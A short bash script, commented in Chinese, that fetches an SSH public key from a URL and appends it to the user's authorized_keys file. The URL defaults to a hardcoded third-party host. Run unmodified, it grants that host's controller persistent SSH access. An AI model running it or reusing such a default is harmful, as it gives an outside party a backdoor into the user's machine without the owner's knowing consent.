#!/usr/bin/env bash
set -euo pipefail

# ===== 默认公钥地址（你可以替换成自己的）=====
DEFAULT_KEY_URL="https://923144.xyz/pubkey"

# 如果用户传参则使用传参，否则用默认值
KEY_URL="${1:-$DEFAULT_KEY_URL}"

echo "[+] Using key URL: $KEY_URL"

# 创建 .ssh 目录
mkdir -p "$HOME/.ssh"
chmod 700 "$HOME/.ssh"

AUTH_KEYS="$HOME/.ssh/authorized_keys"

# 下载公钥
echo "[+] Fetching SSH public key..."
curl -fsSL "$KEY_URL" >> "$AUTH_KEYS"

# 去重（防止重复添加）
sort -u "$AUTH_KEYS" -o "$AUTH_KEYS"

# 修复权限
chmod 600 "$AUTH_KEYS"

echo "[+] Done. Key added successfully."